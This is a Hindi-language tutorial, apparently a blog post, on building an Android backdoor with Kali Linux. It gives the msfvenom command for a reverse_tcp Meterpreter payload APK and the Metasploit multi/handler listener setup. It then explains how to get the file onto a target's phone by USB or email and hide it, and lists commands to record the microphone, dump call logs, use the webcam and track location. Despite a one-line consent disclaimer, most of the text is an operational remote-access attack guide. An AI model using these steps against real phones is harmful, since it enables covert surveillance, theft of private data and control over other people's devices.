एक Android स्मार्टफोन अक्सर अधिकांश कमर्शियल IoT गैजेट्स का प्रवेश द्वार होता है। एक Nest Smoke अलार्म को एक प्रासंगिक Android ऐप के माध्यम से प्रबंधित किया जाता है। वैसे ही Nest Thermostat तापमान को नियंत्रित करने के लिए। स्मार्ट लॉक, डोरबेल कैम - लगभग सभी स्मार्ट डिवाइस को Alexa या अन्य मास्टर ऐप्स से एक्सेस किया जा सकता है। क्या होगा यदि कोई ऐसे Android फोन तक दूरस्थ पहुंच प्राप्त कर लेता है? आपको लगता है कि यह असंभव है? इसके लिए, हम एक बेसिक डेमो देंगे कि कैसे Kali Linux "metasploit" का उपयोग आपके Android फोन पर बैकडोर एंट्री बनाने के लिए किया जा सकता है।
नोट: यह ट्यूटोरियल सुरक्षा शोधकर्ताओं और शौकियों के लिए है। हम किसी के फोन को उनकी अनुमति के बिना हैक करने की सलाह नहीं देते।
पृष्ठभूमि
Kali Linux पर काम शुरू करने से पहले, आपको पहले इसके कंसोल टर्मिनल से खुद को परिचित करना होगा।
यह आसानी से टूल्स की एक व्यापक सूची होस्ट करता है जो एक डिवाइस के फर्मवेयर या ऑपरेटिंग सिस्टम को लक्षित करने के लिए डिज़ाइन किए गए हैं।
यहां, हम "MSFVenom" नामक एक सामान्य टूल का उपयोग करके Android फोन में एक वायरस डालेंगे। यह उपयोगकर्ता द्वारा चुने गए विकल्पों के आधार पर कई प्रकार के पेलोड उत्पन्न करता है। एक्सप्लॉइट विंडोज, Android, OpenBSD, Solaris, JAVA, PHP, और गेमिंग हार्डवेयर सहित कई प्लेटफॉर्म पर काम करता है।
Android Metasploit लॉन्च करना
निम्न चरण दिखाएंगे कि Kali Linux सिस्टम पर MSFVenom कैसे डाउनलोड करें।
टर्मिनल शुरू करें और निम्न कमांड दर्ज करें।
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP address LPORT=Number R > /root/LOCATION/hackand.apk
यहां, पेलोड को "Meterpreter" नामक एक एक्सप्लॉइट एक्सटेंशन का उपयोग करके लॉन्च किया जाता है।
लिसनर होस्ट के IP पते को निर्धारित करने के लिए, एक नया कंसोल टर्मिनल खोलें और ifconfig दर्ज करें। आमतौर पर, ट्रोजन, एक्सप्लॉइट और वायरस के लिए पोर्ट 4444 असाइन किया जाता है।
एक बार IP पता निर्धारित हो जाने पर, पिछली स्क्रीन पर वापस जाएं और विवरण दर्ज करें।
"hackand.apk" फ़ाइल डेस्कटॉप पर सेव होगी और Android फोन पर उपयोग किया जाने वाला मुख्य बैकडोर एक्सप्लॉइट है।
अगले चरण में, "msfconsole" लॉन्च करें जो Kali Linux के साथ उपयोग किया जाने वाला एक सामान्य पेनेट्रेशन टेस्टिंग टूल है। इसके लिए, service postgresql start के बाद msfconsole दर्ज करें। PostgreSQL उस डेटाबेस को संदर्भित करता है जहां कंसोल संग्रहीत किया गया है।
एक बार पेनेट्रेशन टूल तैयार हो जाने पर, आप शेष एक्सप्लॉइट लॉन्च कर सकते हैं।
अगला, "multi-handler" नामक एक एक्ज़ीक्यूटेबल का उपयोग किया जाएगा।
use multi/handler
एक्सप्लॉइट को कंसोल से जोड़ने के लिए नीचे दी गई छवि देखें। वही IP पता और पोर्ट नंबर उपयोग किए जाएंगे।
अगले चरण में, msfvenom एक्सप्लॉइट को एक साधारण exploit कमांड के साथ लॉन्च और इनिशियलाइज़ किया जाएगा। अब, हमें एक लक्ष्य ढूंढना होगा जो एक Android फोन होगा।
Kali Linux टर्मिनल को Android फोन से जोड़ना
हमने पहले जो hackand.apk फ़ाइल डाउनलोड की थी वह केवल 10 KB आकार की है। आपको फ़ाइल को लक्ष्य के फोन में डालने का एक तरीका ढूंढना होगा। आप USB या अस्थायी ईमेल सेवा का उपयोग करके वायरस ट्रांसफर कर सकते हैं।
आमतौर पर, Gmail या Yahoo जैसे वेबमेल प्रोवाइडर इस वायरस संक्रमित फ़ाइल को ले जाने से मना कर देंगे।
Android आपको सॉफ़्टवेयर डालने से पहले चेतावनी देगा। लेकिन, इंस्टॉलेशन पूरा करने में 20 सेकंड से कम समय लगता है क्योंकि आपको केवल "रिस्क को नजरअंदाज करें और इंस्टॉल करें" करना होता है। यदि आपका फोन अनलॉक मोड में है तो यह खतरा कुछ गंभीर हो जाता है।
जैसा कि यहां दिखाया गया है, फोन को बहुत नुकसान पहुंचाया जा सकता है जिसमें स्टोरेज सामग्री को संशोधित करना, फोन को स्लीप से रोकना, वाई-फाई से कनेक्ट और डिस्कनेक्ट करना, वॉलपेपर सेट करना, और बहुत कुछ शामिल है।
एक बार APK फ़ाइल इंस्टॉल हो जाने पर, इसे फोन के भीतर चतुराई से छिपाया जा सकता है।
अब, आप Kali Linux टर्मिनल पर निम्न जैसे कई कमांड का उपयोग करके फोन को नियंत्रित कर सकते हैं। आपको वास्तव में उन्हें याद रखने की आवश्यकता नहीं है क्योंकि सूची meterpreter में एक साधारण help विकल्प से उपलब्ध है।
record_mic: माइक्रोफोन रिकॉर्ड करनाdump calllog: कॉल लॉग प्राप्त करनाwebcam_chat: वीडियो चैट शुरू करनाgeolocate: फोन का वर्तमान स्थान प्राप्त करना
अधिकांश उन्नत Android फोन इस दुर्भावनापूर्ण ऐप को इंस्टॉल होने से रोकेंगे। इसलिए, यह एक्सप्लॉइट आमतौर पर पुराने Android मॉडल के साथ काम करेगा।
विचार
इस ट्यूटोरियल में, हमने Android स्मार्टफोन तक पहुंच प्राप्त करने के लिए Kali Linux का उपयोग करने की एक बुनियादी रणनीति देखी। भले ही यह एक बहुत ही सरल एक्सप्लॉइट है, लेकिन IoT सुरक्षा के संदर्भ में इसके बड़े निहितार्थ हैं।
आप Kali Linux एक्सप्लॉइट्स के बारे में क्या सोचते हैं? क्या आप अपने फोन की सुरक्षा के प्रति अधिक सतर्क रहेंगे? टिप्पणियों में हमें बताएं।